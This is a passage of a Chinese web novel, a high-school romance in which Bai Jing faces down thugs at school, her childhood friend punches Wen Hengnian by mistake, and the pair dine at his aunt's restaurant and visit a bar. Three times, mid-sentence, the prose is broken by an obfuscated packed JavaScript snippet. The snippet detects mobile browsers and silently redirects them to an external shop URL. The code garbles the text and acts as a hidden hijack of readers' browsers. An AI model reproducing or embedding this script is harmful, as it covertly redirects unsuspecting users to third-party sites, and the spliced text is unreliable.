高三考试多。 开学不过一个月,就已经两小考了,考试过后班主任把座位打乱重新安排了一下。 柏璟被调到了中间的位置,黎妆考试失常,坐最后一排,不过这人也从来不在乎自己考的怎么样,都是随缘,坐在哪儿对她来说都能享受。 温恒年在她前一排左斜方。 挺巧的是,程娅成为了柏璟的新同桌。 一如既往的,温公子姗姗来迟。 只不过在那人被罚站的时候,柏璟悄悄往后看了几次,总觉得这人跟之前有哪些不一样。 直到下课后回座位,柏璟才瞧出来点端倪。 少年剪了个头发。 原先到眉毛下方一些的碎发中分被剃到两三厘米长的寸发,平添了几分凌厉。 柏璟若有所思,怪不得呢,刚刚温恒年在后面罚站时,跟他对视上的一瞬间自己心里会猛地打了个颤。 她还没来得及收回目光,温恒年便懒懒的开了口:“盯着我看什么呢?” 语气轻轻,柏璟却莫名听出来一股子轻佻。 “我看你剃了头发,长得像岑周屿。” 所以说,柏璟这个人的嘴,哪一天被人缝上了都不会让人意外——太他妈的欠了。 温恒年哼笑一声:“像他?” 接着散漫道:“我可比他帅多了吧?” 骚包得很。 柏璟默默得给他打了个分。 真是不能背后说人,下一秒,柏璟的手机就“叮”了一声,看了看消息提示,柏璟烦躁的把人拖进黑名单,并关了手机屏——是岑周屿。 那天晚上聚餐之后,这人便有事没事都会给她发几条消息,柏璟在短视频上看到的别人追人的方式都是早安晚安吃饭没。 岑周屿倒是不一样,问的都是,“这条项链看着挺不错适合你,给你买了,有机会见个面送你呢?” 或者是“哎,我听赵阁说现在小女孩都喜欢吃海底捞?要不你加上黎妆你们一起?我请。” 实在的印证了温恒年说的那句话,这人追女生很舍得下血本。 吃人嘴软,拿人手短的道理她从小就懂。 防止落人把柄,柏璟礼貌的一一回拒了这人的各种礼物邀请。 刚刚又是在问要不要一起去看个电影,拒绝的多了,柏璟也烦的很,这人除了约女的出去玩就没别的事儿要干了吗? 当然是有的。 还没放学的时候,柏璟就瞧见赵阁蹲在班长桌子旁边,一副卑微到求天告地的样子:“好姐姐,求你了,让我请个假吧!就最后那节自习不上就行!” 班长大约也是被烦的不行,摆了摆手就道:“去吧去吧!” “得嘞!” 路过班长的身边,柏璟到底还是没压下那点儿好奇:“赵阁干什么去呢?” 班长叹了口气,从试卷题海中抽出身:“之前那个篮球赛上,我们见过的他那个社会大哥,应该是有什么事要叫他帮忙?” 她也只知道这点儿大概。 柏璟挑了挑眉,怎么?自己没去看电影,岑大爷落魄了?要沦落到找个黑皮体育生一起看电影的份儿上了? 很快,柏璟的好奇心就得到了满足。 放学前五分钟,外面吵吵闹闹的响了一大片声音:“这是你们学校的学生吧!?” 柏璟快要睡着的灵魂一下子飞腾起来,直着身子往窗户外面看。 程娅被她这一顿动静吓了一跳,笔尖直直的在本子上划了一条斜线。 隔着一排的温恒年也被这声音引得坐直起来,不过他首先看的不是外面,而是柏璟。 女生像兔子一样,他甚至能给这人幻想出来一双支起来的耳朵。 外面被钳制着的正是请了假的赵阁,柏璟热切的眼神让坐的稍微靠外的程娅实在受不了,主动提出来:“要不?咱们两个换下位置?” 这真是如她所愿了。 拎着赵阁的是两个体型高大的成年男人,一人下巴上留着胡子,看上去分外不好惹。 赵阁身为体育特长生,本身就不算矮了,再加上常年运动的原因,身上肌肉也算是显然易见,跟那两个大汉比起来,倒是有点儿气势不足了。 这会儿班里没有老师,班长颤抖着打算悄悄从后门溜出去报告,班里面一时间连个敢站出去认人的都没有。 这么一闹腾,学习的不学习的全都没心思做别的事情了,有几个女生小声嘀咕着讨论赵阁是不是在外面招惹了什么人,还有的假正经在嚷嚷还让不让人学习了。 柏璟眼神落在赵阁那只还没好全的手腕上,心思收了收,总不能眼睁睁看着赵阁被人打一顿吧? 只是短暂的沉思了几秒,她便站起来,慢步走到窗户前:“我们班的,有事儿吗?” 赵阁一看是柏璟先站出来,眼神感动之余还有些懊恼,自己这点儿破事儿还需要一个女生来替自己解围。 “怎么?你是他老师?还是他妈?”留胡子那个男人眯着眼打量了柏璟一番,并没有把这个小丫头放在眼里,嘲弄的说道。 柏璟学着大汉的样子眯了下眼,接着正色道:“我是党与国家培养出来根正苗红的热血好青年。” 那两人身后还跟了几个看上去瘦瘦的男人,听到柏璟这话,有一人被逗笑了,没忍住出了声。 胡子男回头瞪了正在笑的那人一眼,对方急忙严肃起来。 柏璟见男人手上松懈了些,给了赵阁一个眼神,示意他看看能不能挣脱开跑进教室。 赵阁用力挣开那男人,迅速钻到教室里面,男人急了想要追上来,柏璟在门口守着,刚要把门关上,男人便拦了下来,一条胳膊几乎有柏璟小腿那么粗,还有半臂的纹身,青筋环绕看上去格外吓人。 柏璟强撑着心底镇定下来:“这里是学校,你们想硬来?” 男人嗤笑一声:“学校?我们敢找过来你觉得我们会怂?” 教导处离他们班不近,柏璟算着时间,还得几分钟老师们才能过来,她硬着头皮想要继续把门关上锁住,那男人却是半分都不让。 班里的同学嘀咕的声音也没了,有的只是很小声的窃窃私语,甚至有人在担心柏璟会不会被揍。 赵阁实在看不下去自己躲在一个女生背后的行为,刚想说让柏璟让开,肩膀便被一股力道按住了,他回头去看,是温恒年。 温恒年对柏璟这种经常突如其来,莫名其妙的正义心行为很是头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009962|146054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疼,万一那几个男人真的会打女生,她这不是找死吗? 幸亏,那个半臂纹身的男人格外眼熟。 “周卓?”他慢悠悠的走到柏璟身边站定,把女生往自己身后拉了拉。 柏璟抿唇看着挡在自己前面的温恒年,刚刚这逼是不是无比清晰的说出了一个人名? 半臂纹身男皱了皱眉,仔仔细细的把温恒年从头到尾打量了一遍,前段时间他受人所托,跟了这年轻少年一段时间,还是能认出来这是谁家的崽的: “温总家的?” 温恒年没吭声,算是默认了。 周卓眉中皱起了一团疙瘩,温展算是他半个老板,之前全职在他手底下做事儿的时候,那人对自己跟自己的兄弟都不错,不过因为自己背景不大干净,也不太喜欢工作内容只是监督一小孩儿,所以主动提出了辞职。 “行,让你那小同学下次注意点儿,别什么人都招惹,搞不了姓岑的,我们还搞不了一小玩意儿?”周卓眼神阴狠的穿过两人落在赵阁身上。 赵阁浑身悚然,如果他知道岑周屿叫他去会惹这么个麻烦,自己死活都不会过去的。 中午的时候岑周屿给他发了消息问他想不想出口气,他纳闷的问了对方一句出什么气。 岑周屿只给他发了一张照片,是那天打篮球的时候撞自己那个一米九多的男生的照片。 一米九脸上青一块紫一块的,看着狼狈不堪,赵阁心底虽然畅快,但也怕岑周屿的手段搞出事情来,便想着去劝劝他。 谁知道他到的时候,对方咽不下这口气,不知道从哪儿找了几个社会上混的人来给自己撑腰。 岑周屿孑然一身什么都不怕,那几个人也对这种死不要命的类型没什么办法,便逮着他一个老实学生硬找茬。 班长带着老师们过来的时候,那群人已经走了,赵阁去了医务室看手腕的伤有没有加深,班里面从一开始的小声讨论到后来的丝毫不加掩饰。 程娅眼神闪烁着看向柏璟:“柏璟,你刚才太帅了,我看着你的背影简直要发光了一样。” 柏璟按了按有点突突发疼的太阳穴,装逼装过头了,她估计少不了要被班主任和教导主任拉着一顿批评。 果不其然,在查看了监控,并根据纪律委员一五一十的说明之后,班主任站在讲台上,脸上的怒气堆积在一块儿,眉毛横着: “柏璟!你以为自己很牛是不是!?你很喜欢出风头是不是!?还有温恒年,你们两个逞什么英雄?” 教导主任也是在一旁冷着脸,不时还哼哼几声。 柏璟心中知道自己事儿办的确实不完美,低着头认错,喜提检讨五千字。 趁着挨批评的期间,她悄悄探着身子去看温恒年,男生神色很淡,似乎对这种场合见惯不惯,靠在墙边低着头偷偷在手机上给谁发着消息。 谁知道就是这么一个动作,被班主任看的清清楚楚:“说你呢柏璟,你在看哪里!?温恒年身上有花儿吗!?” “……”柏璟一口气堵在嗓子眼里上不来,脸上憋的青白。 可偏偏旁边少年没忍住嗤笑出声,把班主任的火力成功吸引走,落了个在柏璟五千字的基础上又足足加了一倍的检讨书。 19.酩酊 池潭生到襄城那日,是早六点的飞机。 柏璟该庆幸自己这天刚好月考完放假,直接熬了个通宵,否则还得把自己从睡梦里拖出来。 接到人时,那人身穿一件中款风衣和高领打底,看上去要多正经有多正经。 要不是柏璟认识他,简直会被这副人模狗样的穿着被骗了,表面一本正经,实际骨子里就是个半痞子。 “喏,给你带的你最喜欢吃的那家糕点铺的,常规款的都拿了一份,箱子里是今年给你的生日礼物,算了算时间,半个月后我得飞趟国外,不一定能回来。” 经池潭生这么一提醒,柏璟才想起来自己的生日是快到了。 “就这么把我打发了?”柏璟挑眉问道。 那人伸手,落在她头顶上,狠狠的揉搓两把:“大小姐,等当天给你包个大的,今天就放过我吧。” 池潭生订的酒店套房,连人带箱子的拖回去之后,他命都没了半条。 “什么破地方,这个时间点连个车都这么难打,你也真受的住?”少年略长的发丝随着他躺下的动作凌乱的铺开在床上,一放松下来,骨头都在咔咔作响。 “那看来我适应能力还挺强?”柏璟双臂环着靠在墙边,眼底带点揶揄的笑意。 池潭生半撑起身子,腰身修长,对着她勾勾手:“柏璟,这才几天没见,就跟我生分了?过来坐。” 柏璟迟疑了下,还是走了过去,在离他一臂距离的位置站定。 少年探身就要拉她过去坐下,被柏璟微微侧身躲开:“不坐了,等下会困,熬了一晚上了我现在沾床就能睡。” 池潭生觉得她很不对劲。 “我们又不是没睡过一张床?现在这是怎么了?” 柏璟有些无奈,淡淡的回他:“小学玩过家家的事儿也要被你拿出来说,死了是不是还要刻碑上带棺材里?你怎么不说你跟那会儿班里一个男生玩公主王子的游戏还亲过嘴呢?” 池潭生只不过是说了一句话,就被这人连枪带炮的把童年黑历史都给搜罗了出来,觉得分外不平:“你上次跟我生疏,就是追那个谁的时候,我能不多想吗?” 话说到这儿,池潭生突然有些猜测。 他周围的空气似乎沉静了一般,人也定定的看着柏璟,眼球漆黑深不见底:“柏璟,你不会在这儿有了喜欢的人吧?” 几乎是在听到“喜欢的人”这四个字的一瞬间,柏璟脑子里又浮现了自己那天跟温恒年对视的某个画面。 她这段时间一直在试图坚信这只是当时自己的错觉而已。 柏璟不着痕迹的错开这个话题:“没有。” 对方明显一副不相信的模样。 柏璟只好找个替罪羊来给自己开脱:“最近倒是有个追我的,挺烦人。” 池潭生见她表情确实不爽,舔了舔牙尖:“什么来路?敢追你?不仅眼光奇特,人也挺大胆子。” 他还能跟自己开玩笑,那就是暂时糊弄过去了。 柏璟松了口气:“校外的,好像已经不上学了?混社会的。” “是个麻烦人,你可千万别跟他扯上什么关系,我不在的时候能躲就躲着,实在不行找个路子花点钱,把人套麻袋揍一顿。”池潭生半分玩笑半分认真道。 “法治社会了池少爷,你还当自己中二无极限呢?” 两人有一句没一句的唠了快一个小时,柏璟实在顶不住这困意,才打断叙旧:“行了,为了接你我魂儿都快熬散了,你也休息一下,我先回去了。” 池潭生还有要留她的意思,被柏璟不着痕迹的拒绝掉:“你又不是睡醒就走,呆几天呢,过后带你好好玩玩儿。” 倒不是故意跟池潭生不亲近,只是分开这段时间以来再次相见,总觉得对方跟自己印象里那个幼稚少年不一样了。 更高,肩更宽。 连带着脸部的轮廓都更偏向成年人一点。 自己住的地方跟池潭生定的酒店离得不远,柏璟出了门刚好碰见一个送完客准备走的出租车,感叹了一下自己的幸运之后招了招手。 或许是太久没睡,柏璟回去之后还真如自己所说的一样,沾了床就有了困意,睡意朦胧期间,手机似乎响了两声。 她想伸手去拿过来看,但四肢格外沉重,也不知道到底看了那信息没有,随着眼皮的打架彻底失忆。 迷迷糊糊的 柏璟忽然觉得自己身处于一个绮丽的地方。 她脚下轻飘飘,脑袋沉甸甸,身体轻如燕一般走在一片泛着粉色的湖面上。 湖面上? 喔对,她回来之后就直接睡着了,做个梦走在湖面上怎么了? 她正感慨着这湖水的颜色还挺好看。 却在某个抬眼的期间,看见湖中间像是有个人影。 柏璟隔的不远,只觉得那少年身形挺拔又熟悉,她轻轻叫了一声:“温恒年。” 那人影没回头,但柏璟就觉得是他。 她有些纳闷的继续问道:“温恒年?你怎么也在这儿?” 少年转过身,样子一如他们初见时的模样,脸上挂着淡淡的笑容一步一步朝着她走过来,接着站定在她面前,伸出一只手抚上她左边的脸颊,修长的手指把玩着柏璟的耳垂: “因为你让我在这儿的啊。” 忍受不了这瘙痒,柏璟刚想推开他说怎么可能,少年便稍微凑的近了些又说道:“柏璟,你耳朵红了。” “……!” 柏璟惊醒过来,她下意识的摸着自己梦里面被温恒年触碰过的那只耳垂。 还是热的。 柏璟咬着下唇,她做的什么诡异的梦?! 都怪他妈的池潭生,没事儿瞎猜什么,弄得她心神不定。 床头柜上的时钟指针指向14:40。 这梦对柏璟来说太过于惊悚,惹的她后背浮了一层薄汗,缓过神之后直接一头钻进浴室去冲洗。 洗完出来,手机几乎要被人给打爆。 柏璟弯腰点开,7个未接电话,她竟然一个都没听到。 黎妆打了三个,带上池潭生刚挂断的那个一共四个。 下一秒,那人的号码便又拨了过来,柏璟一边擦着头发一边点了接听。 “大小姐,你还知道接电话,回去之后就像蒸发了一样,连个动静都没有,我还以为你出什么事儿了。”池潭生见电话终于打通,差点急笑。 “我都说了太困了,睡的比较……沉,没听到。”柏璟说着,想起来自己做的那个傻逼梦,觉得有些头疼。 跟这边儿解释过了,还得去回一下黎妆的消息。 【醒了,有什么事儿吗】 那边过了几分钟才又发来一句: 【池潭生不是来了?晚上怎么安排?】 每次出去聚会,柏璟从来都不是做东的那一个,以前有池潭生,来襄城之后跟着黎妆,这突然让她来决定,还真没想过要去做什么。 柏璟:【老一套呗,唱歌?撸串?】 黎妆先是发来了个兔子哭哭的表情包,又说:【我刚吃了消炎药,你说的这两项少不了得喝酒,你忍心馋我一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020123|146054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?】 【襄城我也不熟,你有什么好地方推荐?】 柏璟打完字,又补充一句:【咱们还是快点的好,要不然池潭生能急得长蘑菇】 【我听说万禾那边有个电玩城?规模挺大的,去看看?】 下面紧跟一条定位。 柏璟还没来得及回复,黎妆又道:【温恒年家好像就在那一块儿,等会儿问问他评价怎么样】 【……】 【那你去问吧】 柏璟做了个不太正经的梦,正是心虚的时候,哪儿敢现在就跟温恒年搭话? 【你俩怎么了】 柏璟被这么一问,觉得自己也不用擦头发了,脑袋的温度已经快要把湿着的头发给烤干了。 她把梦内容简单跟黎妆复述了一遍,去掉那些冒着暧昧气味的内容之后,柏璟甚至有点担心自己会不会讲的太干巴了。 短短三行字,黎妆看了很久。 五分钟后,她说:【柏璟,你思春儿了?】 柏璟:…… 懒得搭理你。 不知道黎妆跟温恒年说了什么,跟池潭生约定好见面的地方准备出门前,她便收到了这人的消息,是一条语音。 柏璟犹豫几秒,还是点开这条信息:“黎妆约着去万禾这边的电玩城,让我先在门口接你,你多久到?” 柏璟头皮一麻,黎妆这死人。 【二十分钟左右】 那边回了一个“好”字。 出租车师傅开车烧的很,预计二十分钟的路程用了一半就到了,柏璟下车的时候脚步都虚浮起来。 弯着腰等那股劲儿过去,刚起身站稳,胳膊边便出现了一瓶矿泉水:“还好吗?” 听见这声音,柏璟身体僵硬,不自然的把那水接过来喝了口:“没事,有点晕车。” “来这边的出租车都开的比较狂野,习惯就好。”温恒年说着,又从口袋里拿出个橘子,“吃点这个压一压,会好很多。” 这个季节,哪儿来的这玩意儿? 柏璟秉着好奇的态度,剥开尝了一瓣。 汁水又酸又涩,让她险些喘不上来气。 她把这种痛苦活生生扔下来,面不改色,眼都没多眨一下:“还行,好多了。” 温恒年眼中带笑:“不酸吗?” 这b还真是故意的。 柏璟顺手扯下一瓣递到他嘴边:“尝尝不就知道了?” 温恒年微微弯身,直接咬过那瓣橘子。 还真是有够酸。 柏璟愣了下,被触碰到的指尖开始发烫,她舔了舔唇:“怎么样?” 温恒年唇色很淡,被这汁水一渲染反倒有点发红,挑起半边眉毛道:“甜的。” 这种融洽没持续多久。 浑身散发着不爽的池潭生双手插兜站在柏璟旁边,一手把人揽过来:“这谁?” 柏璟:“……” 她无言低头,这煞神。 温恒年也是个不怕事儿大的:“她忠诚的追求者。” 似乎是被“追求者”这个头衔刺激到,池潭生不知道想起来那一茬:“噢,那个烦人的傻逼是吧。” 说罢,还不等其余二人有反应,一声沉闷的撞击打破这令人窒息的气氛。 柏璟不可置信。 “我草。” 黎妆目瞪口呆。 这一拳听声音应该挺疼。 温恒年歪了个踉跄,再起身的时候,眼底微冷,唇线紧紧抿着,似乎带着极重的戾气,用力往池潭生脸上揍了回去。 20.酩酊 将扭打在一起的二人分开,柏璟牙根一酸。 池潭生下手还真重,对比起来温恒年脸上的伤比他看上去严重的多。 “什么情况?” 这个时间正值人多,黎妆把周围看热闹的驱散开之后,才得了空诧异的问道。 池潭生冷笑:“柏小璟,你说的挺烦人的追你那个人就是他吧?” 一句话概括下来,柏璟就知道池潭生是认错了人会错了意,她微微尴尬:“不是。” 接着给黎妆使了个眼色:“找个人少的地方休息会儿吧,温恒年你跟我出来下。” 池潭生伸手拦她:“去做什么?” 温恒年也不知是脑子搭错了哪根筋儿,非要跟他杠到底,护犊子似的把柏璟往自己这边轻轻扯了下:“私事儿你也要过问?” 被这句话激的险些脏话骂出口的池潭生擦了擦嘴角渗出的血:“我跟她之间没有什么不能说的,她有几根头发我都知道的门儿清。” 眼看他还要说的更离谱,黎妆不耐烦的拍了下他后脑勺:“你够了啊池潭生,这我朋友,我有时候不能去学校,都是人家在照顾柏璟的。” 闷声吃哑巴亏,池潭生只能看着两个人并肩往远处走去。 离开那个区域,柏璟才终于松了口气,侧过目光去看,少年颧骨旁那块儿青紫实在惹人注意,她忍不住问道:“你没事儿吧?” 温恒年轻手抚了下伤着的地方:“没什么大事儿,只是有点疼而已。” “我去接机的时候跟他说了岑周屿的事儿,他这是把你认成岑周屿了,也怪我没提前跟你说,其实池潭生他人不坏,不是故意找你碴儿的。”柏璟解释着,眼神再次落到那块儿伤处,又皱眉,“别看他挺高高瘦瘦的,小时候学过几年散打,下手没个轻重,我替他向你道歉。” 那人轻笑:“你以什么身份替他?” “什么?”柏璟没听明白他的意思。 温恒年却不再说的更明白了:“没事儿,还是快点儿回去吧,晚一会儿那男祖宗再给我不落好怎么办?我又不像他一样,还有人帮忙替着道歉。” 这话怎么听怎么奇怪。 柏璟品味了半天,寻思着怎么有点儿绿茶的味儿? “附近应该有药店的吧?你这不涂一下估计明天就肿起来了。” 两人买了药回来,柏璟把其中一小袋扔给池潭生:“喏,给自己处理一下。” 问着已经蔓延开的药膏的气味儿,那人有些委屈:“柏璟,到底谁是你发小?” “你,是你。”柏璟诚恳道。 “谁千里迢迢不远万里跑来找你?就为了给你送生日礼物和你喜欢吃的糕点?”那人又逼问。 “你,还是你。”柏璟无奈道。 池潭生气的发笑:“你心里有数就行。” “生日礼物?这么早给?”黎妆捉到其中一句重点。 池潭生一边擦药一边倒吸凉气,别看自己脸上就这一小点儿擦伤,妈的那个叫温恒年的看着模样是个温和的,下手还真他妈阴,专往看不见的地方招呼。 “我过几天要出国,她生日那天赶不回来。” 黎妆打趣他:“那干脆把我的也提前给了呗。” “妆姐,你生日还得小一年呢,我是去看我外婆又不是死外面。”池潭生浅翻了个白眼。 最终也没进那电玩城,跟当初柏璟想象的画面不一样,这两人不仅没玩到一块儿去,恰恰相反还同性相斥起来。 好不容易缓和下来,黎妆问他:“还去玩吗?” 池潭生啧道:“玩个屁,打道回府。” 接着又看向柏璟:“柏小璟,跟我走,请你吃好吃的。” “嗐嗐嗐?那我呢?”黎妆不忿。 “?”池潭生说话大多时候都显得过于尖酸刻薄,“我改天找个时间好好谢谢你给柏小璟介绍了个这种朋友。” 黎妆哼了一声,揪着他后衣领:“想请人吃饭是吧?走,请我就行。” “……” 眼睁睁看着池潭生被黎妆硬生生拖走,柏璟面部都有些发皱,手劲儿可真大。 目送那两人上车,柏璟才反应过来,自己怎么反倒是被丢下那个了? 她刚要给黎妆发消息质问,便先收到了对方的:【好好把握单独相处的时间】 柏璟缓缓打出一个问号:【?】 黎妆:【不是不确定自己的感情吗?这不就是个好机会?】 似乎为了让她放心,那边又说:【池潭生我来帮你搞定,保准他打扰不了你】 温恒年瞧着女生表情有些僵硬,问道:“怎么了?” 她要怎么跟你说自己那女发小为了让她跟你单独相处而强制性把她的男发小带走这件事儿呢? 柏璟头疼的很:“没事儿。” 她宁愿挨了几拳的人是自己,起码可以装作脑震荡昏过去。 “那,我们?各自回去?” 温恒年哂笑,眼底眸光微转,目光落在她身上停留片刻:“你是不是忘了自个儿还欠我一顿饭呢?” 柏璟:“?” 什么意思。 温恒年眉尾一扬:“择日不如撞日,那就今天吧。” 语气中颇有点毋庸置疑的意思。 闲着也是闲着。 柏璟点头道:“行啊,你想吃什么?” 温恒年选的是一家很偏僻的西餐厅。 虽然从外面装潢来看跟“西餐厅”这个词完全不搭边就是了。 “这儿菜色很好吗?”柏璟有些不解。 温恒年把门拉开,侧过身示意她先进去。 等人进了门,他才回答了上一个问题:“不是,熟人开的店。” “你朋友。”柏璟问。 温恒年:“我小姨。” 柏璟下意识就要转身出去,却被门口的少年挡个正着。 下一秒,她有些泄气:“温恒年,你是不是有什么病?” 温恒年:“嗯?” “你带女生来你家人店里吃饭,不怕被误会?” 温恒年唇线勾勒出一个弧度:“怕什么?就算误会,吃亏的也不是我。” 柏璟被噎的没法儿,固执着要推开他。 “放心,她平时不在店里……” 这话还没说完,身后即刻传来一声珠帘被拨开的声音,随后掺杂了一个女人的说话声:“阿年?” 被叫到名字的人伸出手打了个招呼: “……小姨。” “来店里怎么也不提前说声?” 女人发问。 柏璟双耳却飞腾起一股热意,有些做贼心虚的不敢转过身去。 对比起柏璟的不自在,温恒年面不改色的引她来到一个靠窗的座位:“坐。” 柏璟暗暗的自以为恶狠狠的瞪他一眼,再抬头的时候已经换上了那副礼貌的笑。 这位置对着光,少年的手骨节分明的放在暗红色的木纹桌面上,有一搭没一搭的敲着旁边的深灰色茶杯。 时间还不到四点,正是太阳挂空的时候,刺眼的光亮打进屋内,连带着被照耀着的温恒年的指尖都莹莹的发着光。 只是这副堪称养眼的画面消除不了柏璟的紧张。 说好的他小姨平时不在店里呢? 这位跟她面面相觑的女人脸上挂着温和的笑,穿着一件新中式的黑色长裙,臂弯处搭着一条薄薄的披肩,头发在后颈处用一支簪子挽起一个精致的发髻。 柏璟想,如果放到民国时期,这位小姨定是家家户户都艳羡喜欢的大小姐,府里面最受宠的掌上明珠。 小姨红唇一直保持一个微妙的弧度,似乎在等两人之一先开口。 柏璟被盯了许久,终于按耐不住,迟疑了几秒钟之后眼神看了看温恒年,对方回以一个笑,又润了润唇看向小姨:“……小姨好?” “你好。” 女人的声音跟她本人一样,温柔的很,回应过柏璟的招呼之后,她侧眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不过,是谁从小开始从来不收小女生送的礼物和信?又是谁小时候信誓旦旦说如果自己有了喜欢的女孩子第一个先带给小姨看?” 温恒年轻声叹气,自己家母亲这一脉的人还真是不好将就。 莫岚放下杯子:“你这普通朋友长的真漂亮,我倒是没看出来你小子交朋友还要贪图别人美色呢?” 被阴阳了一番,温恒年只好求饶:“我错了小姨。” 莫岚也不多逗他:“最近你爹后娶进门那位还有闹过吗?” 王倩蓉刚嫁给温展那一年,没少在他面前诋毁温恒年。 生下温怡竹之后,非但没有收敛,反倒更加放肆。 甚至还在温展面前说过在自己怀孕期间,温恒年想要害她流产这种话。 听上去太过于荒谬,温展纵使知道这是谎言,但心底对王倩蓉爱的很,便也一天天顺着她的心意给温恒年脸色,一边忙着安慰她是自己想多了。 温恒年内里是个挺开朗的人,身边朋友也多,自从父母离婚之后才开始变得劣性。 不过随着长大,慢慢的被他掩饰的很好。 温怡竹出生之后,女人一副怕极了温恒年会害她亲闺女的模样,当着他的面每天都提醒温怡竹说哥哥不喜欢小孩子,你不要跟哥哥走的太近。 不知道算不算是幸运,小孩儿在这种神经兮兮的教唆之下养大,倒是没学她那一身臭毛病。 自己爸妈的偏爱让温怡竹从小就懂哥哥在家的无奈情况。 于是,小小的一个人儿就变着法儿把好吃的藏起来,再找了机会偷偷塞给温恒年。 “能掀起什么大风大浪,无非就想把我赶出这个家而已。”温恒年轻哂,抬起下巴,“不过我这人,没有如别人愿的美德。” 王倩蓉越是想把自己往外赶,他越是要留下来在她面前晃悠着恶心对方。 21.酩酊 许是怕柏璟放不开,等她从厕所出来,小姨早就没了个人影儿。 柏璟随口问了句:“你小姨呢?” 温恒年一边搅着杯子里的饮料一边道:“怎么?你要是不嫌尴尬的话,我再把她叫回来?” “不用了。”柏璟扯了下嘴角,松口气才重新坐到座位上。 两人吃完饭也才刚过四点半,趁着温恒年出去透气抽烟,柏璟起身去结账,走到前台,留着齐刘海的妹子掩着嘴笑了笑,给她指了下门外少年的身影:“小温老板结过帐了。” 说好的让她来请客,这下倒好,又反欠对方一个人情。 今天是周六,也是温怡竹学校放假的日子,温展一早就带着她去了游乐园,临走前的笑声似乎还停留在耳畔,温恒年有些躁,接连几口烟都吸的很深。 柏璟推开门正好看到他抽烟又颓又凶的模样,清了清嗓子问:“你还有别的要去的地方没?” 少年掀起眼皮看她一眼,接着望向别处:“等会儿去找宋京承,晚上应该会去金k或者凯盛。” 金k柏璟已经去过了。 另一个凯盛只听说了那是个酒吧,是目前襄城里消费最高的娱乐场所。 外面一箱啤酒几十块钱,里面要上千,苏打酒洋酒更是几百几万一瓶的卖。 “凯盛好玩吗?”柏璟问。 温恒年吸完烟,最后一口过了很久才徐徐吐出,接着他笑了声:“想去吗?” 柏璟心里有所动容,以前在扬市的时候她跟着母亲去捉过在会所里应酬的柏盛昌,所以对夜总会的印象不太好。 也去过各种高级酒店里的聚会,但那里大多都是教养极好的大小姐所能适应的场合,她家虽然也富贵,但从小被放养的柏璟跟别人比起来,性格还是稍稍融入不了。 高档的酒店包一晚就是十几万,金碧辉煌的装饰,大厅里昂贵的三角架被谁小心翼翼的抚来抚去,又是谁的纤纤玉指从黑白分明的琴键上划过,仅留下一串美妙的琴音。 这些都与她无关,再后来,她便没去过了。 学校,家里,两点一线的日复一日。 唯一的乐趣是跟黎妆偶尔出去喝个小酒,逛个街,再后来黎妆转走,她出去参加娱乐活动的次数就更少了。 “想。” 柏璟听见自己轻声开口,随后这个单音又很快被风吹走。 温恒年他们约的时间是九点半,这会儿离约定的时间还早的很。 凯盛的地段很好,是离市区不远的一个富人小区那里,一座从外观上看就无比漂亮的建筑紧紧靠着这个小区的楼房,外装修是古欧风,走进里面,隔音也是一级棒,噪音比别的地方的小的太多了。 温恒年他们算是第一批到的客户。 前台的那位姐姐眼神像粘在了温恒年身上似的,少年弯身写单子的时候恨不得握着他的手教他写。 末了,那姐姐娇俏道:“你看起来年纪不大啊,有什么需要的记得打前台姐姐的电话呢?” 特殊服务。 柏璟脑子里瞬间浮起来这四个字。 啧。 温恒年像是经历惯了,没有跟前台多置喙,签完单子便起身去了包间。 他们人应该不多,订的是个中包。 沙发还没坐热,一个穿着制服的男服务生便把就送来了,进门的时候,他目光在柏璟身上停顿了几秒钟,接着镇定的把酒一一摆在中间的桌子上,随后走到柏璟身边,弯下身子悄声道:“小姐有什么需要的随时叫我。” …… 这话不应该跟“金主”温恒年讲吗? 那男生看起来年纪不大,外表跟他们像是同岁的。 小服务生走出去之后,温恒年慢悠悠的开口:“那男生保不齐是看上你了,想从你这儿捞些好处。” 对方说的过于直白,柏璟险些被噎到:“你说什么?” “他眼神都要贴你身上了。”温恒年道。 “那位前台姐姐是不是也挺看上你的啊?恨不得握着你的手跟你一起写。”柏璟回他一句。 “你观察的挺认真啊。”轻描淡写这么一声后,温恒年从桌子下面的抽屉里拿出一罐旺仔:“等会儿你喝这个。” “?”柏璟不理解,“为什么?” 那些五颜六色的气泡酒,她光是瞧着就很好喝的样子。 温恒年淡淡的看着她:“你喝多了,谁送你回去?” 她哪儿有那么容易喝多? 柏璟刚想开口反驳,紧接着又想起来自己之前那次吃饭喝了酒不小心坐在某人腿上的事情,话瞬间被咽了回去。 温恒年见她情绪不高,有些蔫儿。 装起来还挺像一回事儿,看上去委委屈屈的。 他叹口气,起开一瓶酒,随后放在柏璟面前:“喝吧,多了我送你。” 莫名的, 柏璟觉得他语气有点哄小孩儿的意味。 没等多久,宋京承几人便如约而至,一进门,先看见的便是坐在靠外一点的柏璟。 